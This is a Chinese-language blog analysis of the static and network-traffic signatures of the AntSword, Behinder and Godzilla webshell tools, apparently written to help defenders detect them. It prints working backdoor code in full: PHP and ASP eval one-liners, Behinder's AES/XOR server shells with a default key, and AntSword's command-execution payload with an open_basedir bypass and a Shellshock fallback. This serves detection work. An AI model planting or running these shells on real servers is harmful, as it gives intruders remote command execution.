WebShell 特征分析

WebShell 特征分析

代码语言:txt
复制
`WebShell`是黑客经常使用的一种恶意脚本,其目的是获得服务器的执行操作权限,常见的webshell编写语言为`asp `/`jsp`/`php`。主要用于网站管理,服务器管理,权限管理等操作。使用方法简单,只需要上传一个代码文件,通过网址访问,便可进行很多日常操作,极大地方便了使用者对网站的服务器的管理。

正因如此,也有小部分人将代码修改后当作后门程序使用,以达到控制网站服务器的目的,也可以将其称为一种网页后门

常见的一句话木马:

代码语言:php
复制
<?php eval($_POST['shell']); ?>
68394568592

蚁剑

Antsword(蚁剑)是一个开放源代码,跨平台的网站管理工具,旨在满足渗透测试人员以及具有权限和或授权的安全研究人员以及网站管理员的需求。

github项目地址: https://github.com/AntSwordProject/antSword

蚁剑演示

68394757579
68394738849

成功入侵一个网站后,通常会将asp或者php后门文件与网站目录下正常的网页文件混在一起,然后就可以使用浏览器来访问asp或者php后门,得到一个命令执行环境,以到达控制网站服务器的目的

68394750558

静态特征

蚁剑官方提供制作好的后门:https://github.com/AntSwordProject/AwesomeScript

php中使用asserteval等命令执行:

68394870928
68394885270

通过create_function创建方法的方式来调用执行eval($_POST['ant'])

68394885270

asp使用的是eval命令执行:

68394950057

jsp使用的是Java类加载(ClassLoader),同时会带有base64编码解码等字符特征

68394968837

动态特征

使用一句话木马

代码语言:php
复制
<?php eval($_POST["shell"]); ?>
68395140849

每一个请求体都存在@ini_set("display_errors",“0”);@set_time_limit(0)开头。并且存在base64等字符相应包的结果返回格式为: 随机数+结果+随机数

68395147093
代码语言:php
复制
@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
	$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
	$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
	@array_push($oparr,$ocwd,sys_get_temp_dir());
	foreach($oparr as $item) {
		if(!@is_writable($item)) {
			continue;
		}
		;
		$tmdir=$item."/.f5fe04b0758";
		@mkdir($tmdir);
		if(!@file_exists($tmdir)) {
			continue;
		}
		$tmdir=realpath($tmdir);
		@chdir($tmdir);
		@ini_set("open_basedir", "..");
		$cntarr=@preg_split("/\\\\|\//",$tmdir);
		for ($i=0;$i<sizeof($cntarr);$i++) {
			@chdir("..");
		}
		;
		@ini_set("open_basedir","/");
		@rmdir($tmdir);
		break;
	}
	;
}
;
;
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "3b5f"."064c";
	echo @asenc($output);
	echo "83c25"."58ff6f";
}
ob_start();
try {
	$D=dirname($_SERVER["SCRIPT_FILENAME"]);
	if($D=="")$D=dirname($_SERVER["PATH_TRANSLATED"]);
	$R="{$D}	";
	if(substr($D,0,1)!="/") {
		foreach(range("C","Z")as $L)if(is_dir("{$L}:"))$R.="{$L}:";
	} else {
		$R.="/";
	}
	$R.="	";
	$u=(function_exists("posix_getegid"))?@posix_getpwuid(@posix_geteuid()):"";
	$s=($u)?$u["name"]:@get_current_user();
	$R.=php_uname();
	$R.="	{$s}";
	echo $R;
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();

使用base64编辑器和解码器时连接:

68395569046

蚁剑会随机生成一个参数传入base64编码后的代码,密码参数的值是通过POST获取随机参数的值然后进行base64解码后使用eval执行,影响包的结果返回格式为: 随机数+编码后的结果+随机数

68395591971

由此可见,是将执行的命令编译成base64编码并赋值给m4f819bff558d5,再让eval去执行

代码语言:txt
复制
m4f819bff558d5=QGluaV9zZXQoImRpc3BsYXlfZXJyb3JzIiwgIjAiKTtAc2V0X3RpbWVfbGltaXQoMCk7JG9wZGlyPUBpbmlfZ2V0KCJvcGVuX2Jhc2VkaXIiKTtpZigkb3BkaXIpIHskb2N3ZD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7JG9wYXJyPXByZWdfc3BsaXQoYmFzZTY0X2RlY29kZSgiTHp0OE9pOD0iKSwkb3BkaXIpO0BhcnJheV9wdXNoKCRvcGFyciwkb2N3ZCxzeXNfZ2V0X3RlbXBfZGlyKCkpO2ZvcmVhY2goJG9wYXJyIGFzICRpdGVtKSB7aWYoIUBpc193cml0YWJsZSgkaXRlbSkpe2NvbnRpbnVlO307JHRtZGlyPSRpdGVtLiIvLmZmODIzOCI7QG1rZGlyKCR0bWRpcik7aWYoIUBmaWxlX2V4aXN0cygkdG1kaXIpKXtjb250aW51ZTt9JHRtZGlyPXJlYWxwYXRoKCR0bWRpcik7QGNoZGlyKCR0bWRpcik7QGluaV9zZXQoIm9wZW5fYmFzZWRpciIsICIuLiIpOyRjbnRhcnI9QHByZWdfc3BsaXQoIi9cXFxcfFwvLyIsJHRtZGlyKTtmb3IoJGk9MDskaTxzaXplb2YoJGNudGFycik7JGkrKyl7QGNoZGlyKCIuLiIpO307QGluaV9zZXQoIm9wZW5fYmFzZWRpciIsIi8iKTtAcm1kaXIoJHRtZGlyKTticmVhazt9O307O2Z1bmN0aW9uIGFzZW5jKCRvdXQpe3JldHVybiAkb3V0O307ZnVuY3Rpb24gYXNvdXRwdXQoKXskb3V0cHV0PW9iX2dldF9jb250ZW50cygpO29iX2VuZF9jbGVhbigpO2VjaG8gIjRmOWZkIi4iOGZmZDQiO2VjaG8gQGFzZW5jKCRvdXRwdXQpO2VjaG8gImFkMyIuImVmYjUiO31vYl9zdGFydCgpO3RyeXskRD1kaXJuYW1lKCRfU0VSVkVSWyJTQ1JJUFRfRklMRU5BTUUiXSk7aWYoJEQ9PSIiKSREPWRpcm5hbWUoJF9TRVJWRVJbIlBBVEhfVFJBTlNMQVRFRCJdKTskUj0ieyREfQkiO2lmKHN1YnN0cigkRCwwLDEpIT0iLyIpe2ZvcmVhY2gocmFuZ2UoIkMiLCJaIilhcyAkTClpZihpc19kaXIoInskTH06IikpJFIuPSJ7JEx9OiI7fWVsc2V7JFIuPSIvIjt9JFIuPSIJIjskdT0oZnVuY3Rpb25fZXhpc3RzKCJwb3NpeF9nZXRlZ2lkIikpP0Bwb3NpeF9nZXRwd3VpZChAcG9zaXhfZ2V0ZXVpZCgpKToiIjskcz0oJHUpPyR1WyJuYW1lIl06QGdldF9jdXJyZW50X3VzZXIoKTskUi49cGhwX3VuYW1lKCk7JFIuPSIJeyRzfSI7ZWNobyAkUjs7fWNhdGNoKEV4Y2VwdGlvbiAkZSl7ZWNobyAiRVJST1I6Ly8iLiRlLT5nZXRNZXNzYWdlKCk7fTthc291dHB1dCgpO2RpZSgpOw%3D%3D&shell=%40eval(%40base64_decode(%24_POST%5B'm4f819bff558d5'%5D))%3B
68395598869

通过蚁剑建立连接调试:

68395495209
68395542253

通过蚁剑执行cmd调试:

68395783588
代码语言:php
复制
c1b6e04401fbf4=XYY2QgL2QgIkQ6XFx4YW1wcFxcaHRkb2NzXFxpdGVtXFxhZG1pbiImd2hvYW1pJmVjaG8gNzI4OGIzNjZiMDk0JmNkJmVjaG8gNzQzZDhiZjZjZTI=&ha38b5d79daf84=D0Y21k&nb8d2d1977dcdd=wu&shell=@ini_set("display_errors", "0");
@set_time_limit(0);
$opdir=@ini_get("open_basedir");
if($opdir) {
	$ocwd=dirname($_SERVER["SCRIPT_FILENAME"]);
	$oparr=preg_split(base64_decode("Lzt8Oi8="),$opdir);
	@array_push($oparr,$ocwd,sys_get_temp_dir());
	foreach($oparr as $item) {
		if(!@is_writable($item)) {
			continue;
		}
		;
		$tmdir=$item."/.85161";
		@mkdir($tmdir);
		if(!@file_exists($tmdir)) {
			continue;
		}
		$tmdir=realpath($tmdir);
		@chdir($tmdir);
		@ini_set("open_basedir", "..");
		$cntarr=@preg_split("/\\\\|\//",$tmdir);
		for ($i=0;$i<sizeof($cntarr);$i++) {
			@chdir("..");
		}
		;
		@ini_set("open_basedir","/");
		@rmdir($tmdir);
		break;
	}
	;
}
;
;
function asenc($out) {
	return $out;
}
;
function asoutput() {
	$output=ob_get_contents();
	ob_end_clean();
	echo "5d1"."669";
	echo @asenc($output);
	echo "95e070"."9c0b16";
}
ob_start();
try {
	$p=base64_decode(substr($_POST["ha38b5d79daf84"],2));
	$s=base64_decode(substr($_POST["c1b6e04401fbf4"],2));
	$envstr=@base64_decode(substr($_POST["nb8d2d1977dcdd"],2));
	$d=dirname($_SERVER["SCRIPT_FILENAME"]);
	$c=substr($d,0,1)=="/"?"-c \"{$s}\"":"/c \"{$s}\"";
	if(substr($d,0,1)=="/") {
		@putenv("PATH=".getenv("PATH").":/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin");
	} else {
		@putenv("PATH=".getenv("PATH").";C:/Windows/system32;C:/Windows/SysWOW64;C:/Windows;C:/Windows/System32/WindowsPowerShell/v1.0/;");
	}
	if(!empty($envstr)) {
		$envarr=explode("|||asline|||", $envstr);
		foreach($envarr as $v) {
			if (!empty($v)) {
				@putenv(str_replace("|||askey|||", "=", $v));
			}
		}
	}
	$r="{$p} {$c}";
	function fe($f) {
		$d=explode(",",@ini_get("disable_functions"));
		if(empty($d)) {
			$d=array();
		} else {
			$d=array_map('trim',array_map('strtolower',$d));
		}
		return(function_exists($f)&&is_callable($f)&&!in_array($f,$d));
	}
	;
	function runshellshock($d, $c) {
		if (substr($d, 0, 1) == "/" && fe('putenv') && (fe('error_log') || fe('mail'))) {
			if (strstr(readlink("/bin/sh"), "bash") != FALSE) {
				$tmp = tempnam(sys_get_temp_dir(), 'as');
				putenv("PHP_LOL=() { x; }; $c >$tmp 2>&1");
				if (fe('error_log')) {
					error_log("a", 1);
				} else {
					mail("a@127.0.0.1", "", "", "-bv");
				}
			} else {
				return False;
			}
			$output = @file_get_contents($tmp);
			@unlink($tmp);
			if ($output != "") {
				print($output);
				return True;
			}
		}
		return False;
	}
	;
	function runcmd($c) {
		$ret=0;
		$d=dirname($_SERVER["SCRIPT_FILENAME"]);
		if(fe('system')) {
			@system($c,$ret);
		} elseif(fe('passthru')) {
			@passthru($c,$ret);
		} elseif(fe('shell_exec')) {
			print(@shell_exec($c));
		} elseif(fe('exec')) {
			@exec($c,$o,$ret);
			print(join("
",$o));
		} elseif(fe('popen')) {
			$fp=@popen($c,'r');
			while(!@feof($fp)) {
				print(@fgets($fp,2048));
			}
			@pclose($fp);
		} elseif(fe('proc_open')) {
			$p = @proc_open($c, array(1 => array('pipe', 'w'), 2 => array('pipe', 'w')), $io);
			while(!@feof($io[1])) {
				print(@fgets($io[1],2048));
			}
			while(!@feof($io[2])) {
				print(@fgets($io[2],2048));
			}
			@fclose($io[1]);
			@fclose($io[2]);
			@proc_close($p);
		} elseif(fe('antsystem')) {
			@antsystem($c);
		} elseif(runshellshock($d, $c)) {
			return $ret;
		} elseif(substr($d,0,1)!="/" && @class_exists("COM")) {
			$w=new COM('WScript.shell');
			$e=$w->exec($c);
			$so=$e->StdOut();
			$ret.=$so->ReadAll();
			$se=$e->StdErr();
			$ret.=$se->ReadAll();
			print($ret);
		} else {
			$ret = 127;
		}
		return $ret;
	}
	;
	$ret=@runcmd($r." 2>&1");
	print ($ret!=0)?"ret={$ret}":"";
	;
}
catch(Exception $e) {
	echo "ERROR://".$e->getMessage();
}
;
asoutput();
die();
68395778328

冰蝎

冰蝎是一款动态二进制加密网站管理客户端。

github地址:https://github.com/rebeyond/Behinder

主要功能为:基本信息、命令执行、虚拟终端、文件管理、Socks代理、反弹shell、数据库管理、自定义代码等,功能非常强大

冰蝎的加密原理:"冰蝎"在服务端支持open_ssl时,使用AES加密算法,密钥长度16位,也可称为AES-16。此在软件及硬件(英特尔处理器的AES指令集包含六条指令)上都能快速地加解密,内存需求低,非常适合流量加密。

在冰蝎文件中,server文件中存在了各种类型的木马文件

68396386301
68396577736

静态特征

在PHP中会判断是否开启openssl采用不同的加密算法,在代码中同样会存在eval,assert等字符特征

代码语言:txt
复制
<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
	$_SESSION['k']=$key;
	session_write_close();
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
		$t="base64_"."decode";
		$post=$t($post."");
	for($i=0;$i&lt;strlen($post);$i++) {
			 $post[$i] = $post[$i]^$key[$i+1&amp;15]; 
			}
}
else
{
	$post=openssl_decrypt($post, &#34;AES128&#34;, $key);
}
$arr=explode(&#39;|&#39;,$post);
$func=$arr[0];
$params=$arr[1];
class C{public function __invoke($p) {eval($p.&#34;&#34;);}}
@call_user_func(new C(),$params);

?>

aps中会在for循环进行一段异或处理

代码语言:txt
复制
<%
Response.CharSet = "UTF-8"
k="e45e329feb5d925b" '该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond
Session("k")=k
size=Request.TotalBytes
content=Request.BinaryRead(size)
For i=1 To size
result=result&Chr(ascb(midb(content,i,1)) Xor Asc(Mid(k,(i and 15)+1,1)))
Next
execute(result)
%>

在jsp中则利用java的反射,所以会存在ClassLoader,getClass().getClassLoader()等字符特征

代码语言:txt
复制
<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader {
U(ClassLoader c) {
super(c);
}
public Class g(byte []b) {
return super.defineClass(b,0,b.length);
}
}
%><%if (request.getMethod().equals("POST")) {
String k="e45e329feb5d925b";
/*该密钥为连接密码32位md5值的前16位,默认连接密码rebeyond*/
session.putValue("u",k);
Cipher c=Cipher.getInstance("AES");
c.init(2,new SecretKeySpec(k.getBytes(),"AES"));
new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);
}
%>

动态特征

连接shell过程中会存在个客户端和服务器之间交换aes密钥的环节

当冰蝎连接网站Webshell是发送请求包:

68396447139
68396508801
68396517509

base64解码得出:

代码语言:php
复制
assert|eval(base64_decode('@error_reporting(0);
function main($content)
{
$result = array();
$result["status"] = base64_encode("success");
result[&#34;msg&#34;] = base64_encode(content);
@session_start(); //初始化session,避免connect之后直接background,后续getresult无法获取cookie

echo encrypt(json_encode($result));

}

function Encrypt($data)
{
@session_start();
key = _SESSION['k'];
if(!extension_loaded('openssl'))
{
for(i=0;i<strlen(data);i++) {
data[i] = data[i]^key[i+1&15];
}
return $data;
}
else
{
return openssl_encrypt(data, &#34;AES128&#34;, key);
}
}
content=&#34;eVFUSnVFWTk1OUEwVTRSQ09ldFRYdXQ4STlRc2ZUakxRc2NqTTE2akc0RTBrZkhDU1R3RGZhTHRvT2VYMEVBOUJIRU03akFNakdxaUJNdE4xRnNSTnJqbTNlR3Q2R0xuQ1hudnR0S3dUMTZJdWhBeTJtSGJGb21scjAwNEVqSURPeVpHUkJVN3pBTnFGbTVhMzNMVnhPSzN2cWVzaXd0SWU1SEptVHB0QkltMExLcXpUZUxtOWtKOUtrc0xwaVQ5SVFBUnFrU0dKZE51SlVFZ3pJa29sNVE0dFFscUpMbE05MEt5Y21ndTBwQ1JOTkRpZ1lFempURXc5UTJYR0hRb0hDWEZuU0Q3eUhGQXkyWHBObTRDQ0xiSlg0cFhkdHVhbkJPYTlaSEoyT1BGc21DNHp5WTlBSFE3aTMyT0FQVDZEeEpsckJ4NGFjbk9UOG9XUjVTOGVqamNqSG9TazRESGloZVpsQkVPTmlqNXRLblRDMTdjSHJ4eXZLTjVkSnNteXRjVVlxNmtYVElrRURHRUZDRzFieGwzSFF0aEJPbVJsVWVncVhJSXpuVUNZMEVhbml4cHJhZnV1bHJSQ1NxWnlSaXQwbHdBaTE5NWZLOWdOQjJxQWEyMXFZQ1VTNDZaMTgwUkk3dVRKZmFaTktlZTlnYW5JYVllRWRBY0hwYlFZWUROOHdlUVgwcDVjaTh3T3RCeUx2TDI0Y0JsOTJXa29XR0NpVUd1bFNUM21ab0dTYnIzVHZpYWxGcXhMb3ZZVUdUMjBzR0JDajZLMU94OU1wYnZDdGd2NW9jMHBJUkR3bTh2c1JNOHZXWU96R0toVzQ4cThIM1NQRTlQQ2lkblE4c0xRdE0yblR3RmwyV281cldSbGE0VkExemJJM2REanVwdXdscUhwQ2dENVVkUlVTTnlseWdlUmpwazVVcERGaDlmZXpUdVd4WHVlbHZ2a1dIYmlUdkVrVTdaU3JzZ0FQVmtIUVZta1VTNVFXb0JLYmZDN2tWTzFhZmxqcEFkTEl0M2w4SDhNNVBoU095R3pwR0w5dlpSNWdnZlBxNHh3SUZObHgyNFlIUW1NVTFDNk5tRDJlRXU5MzVyREFEcnkwWkczb1c0eFFEeXNsY25ZbHJYaDBsWDlqTVJUdVZuWDh6WnNqVDViM0xIS3VNQTJnOFpjNFV6VjQ5Skp6YkNjVUxPUU5Lb1R6enJhUmJtdnYwYXI0dDY2eWU0RnR6MHZRbTNjQ2tRR3BMdFVSaFVRQ1p0VzI3SlJNV0VOdTZhcjRvaWhJSlVwclBmRTk5RFRqbE55d3ZUVFl5REJRMTF0cXgxZllnNGJzV084M3NWakJtcVZYdEFvSGFDZkFDclVZNFRxdVNGUGtXU0dDVmZVQVpTODhEeTVSY2ZGeEx6NVh6N3lCQjhRWEhwS3Aya1RVamhySnNkazhMa2x6MWd2MVU1VkJkWnpycTZXcmZrV3pXYWlDVDlxcGNxa0daUmxNalk1NzVITFpBQnZsZjR3TFVqUTBqZ0JaZzNwYXBrOFZ3UEk4NkpuM0hvNllGeUYwVUFOVEk2RWNFbHkyV05Cc1ZseUtJclFlckRYalhoblQ4dWlXTTEyZGhmNFpaZ0NzMmNUd3FNbnc5R2xvSFM1R09KRElLNXU2dGR0ZktTRTRINmFGNGpYVG5pSzZXejhsTkpZeGpLeDZydE51M2pWYVlDR0NzS2lHQ0tRd2RhUmE2TmxzaDBZaGpKUEZuQmVPbGcxQWNRamx4Q3dtb3pkMzFyYllqeEVhdHdIaTFkekhRTVdGeVdScjF1RVphSUZCY3htMHVnMFFKUWFhUkRsend1dnl5SFR4TjRQakd4eW95YVRoSTExN3FIR1NQN244REd5M2lCQmk4R1ZCbzk0Y2FHSmdibzA3RkdOdUdMa2V0RDI4ZUNxaE5Mc0xuRW5SUXZDZ0dNdVhreHpqdjRrekRTblFXdU9RWFQ2WE5BeXB5Q1RwTUlkSmVRZ0FESEpCMkowR3hzRTAxMExvRTBxaUxyanlWdWFJM0NTazJ2VTJBV2xRWHFOelBITHFTNUNOSjJTMHZCSkh2WjlnQ2dHaDVkVVpGeWdERWNEYURoZWVpSklmTFFOVGhOckRyN29LYWtKTzRwaVFkNGY2OTF4VFphUElJc2FGVnBUZzMwQjlENFk4S29ZUTVQZWVsbU9sQkZWbE9pQkxVbnp2MlNGbm1xUFU5UWRxTTVVbmt0U3hNNG9VSXlzR3g5V25iSU15U09MejZvWmdZTXRQRXlEcG9ZMkpQbVhtR1RpemNv&#34;;content=base64_decode($content);
main(content);&#39;));</code></pre></div></div><p><strong>Payload二次解密调试:</strong></p><p>第一个包将<code>success</code>字符串<code>base64</code>编码</p><p>将一个特定内容的字符串<code>base64</code>编码 使用加密方式进行加密</p><figure class=""><div class="rno-markdown-img-url" style="text-align:center"><div class="rno-markdown-img-url-inner" style="width:100%"><div style="width:100%"><img src="https://cdn.static.attains.cn/app/developer-bbs/upload/1723065618709561949.png" /></div><div class="figure-desc">68396657995</div></div></div></figure><figure class=""><div class="rno-markdown-img-url" style="text-align:center"><div class="rno-markdown-img-url-inner" style="width:100%"><div style="width:100%"><img src="https://cdn.static.attains.cn/app/developer-bbs/upload/1723065619064131609.png" /></div><div class="figure-desc">68396662134</div></div></div></figure><figure class=""><div class="rno-markdown-img-url" style="text-align:center"><div class="rno-markdown-img-url-inner" style="width:100%"><div style="width:100%"><img src="https://cdn.static.attains.cn/app/developer-bbs/upload/1723065619505827907.png" /></div><div class="figure-desc">68396671846</div></div></div></figure><p><strong>抓包后放包自动抓取第二个包:</strong></p><p>而<code>eval</code>执行<code>base64</code>里面加密内容,总体的过程是为:</p><p><code>Payload</code>-&gt;<code>base64</code>加密-&gt;使用<code>eval</code>函数执行加密后的代码-&gt;<code>AES</code>对称加密全部<code>Payload</code>-&gt;传输获得密钥,再加密传输</p><figure class=""><div class="rno-markdown-img-url" style="text-align:center"><div class="rno-markdown-img-url-inner" style="width:100%"><div style="width:100%"><img src="https://cdn.static.attains.cn/app/developer-bbs/upload/1723065620036858192.png" /></div><div class="figure-desc">68396690538</div></div></div></figure><p>再将<code>post
变量中的内容放置到pack2.php文件中

68396699769
68396707884

哥斯拉

github下载地址:https://github.com/BeichenDream/Godzilla]

68397055843

静态特征

哥斯拉的webshell需要动态生成,可以根据需求选择各种不同的加密方式

jsp文件木马:

选择默认脚本编码生成的情况下,jsp会出现xcpass字符和java反射(ClassLoaderGetClass().getClassLoader()),base64加解码等特征

68397424783

phpasp则为普通的一句话木马:

代码语言:txt
复制
<?php eval($_POST["shell"])?>

<%eval request("pass")%>

动态特征

所有请求中Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/;q=0.8

所有响应中Cache-Control: no-store, no-cache, must-revalidate

68397545853

哥斯拉利用WebShell方式是:通过AES加密 -> Base64编码 -> 再通过MD5认证 -> 最后执行相关代码

分析了一下Payload的内容,包含runbypass_open_basedirformatParameterevalFunc等二十多个功能函数,具备代码执行、文件操作、数据库操作等诸多功能

68397605238

以上就是本期分享,记得随手给坤哥点个赞,十分感谢!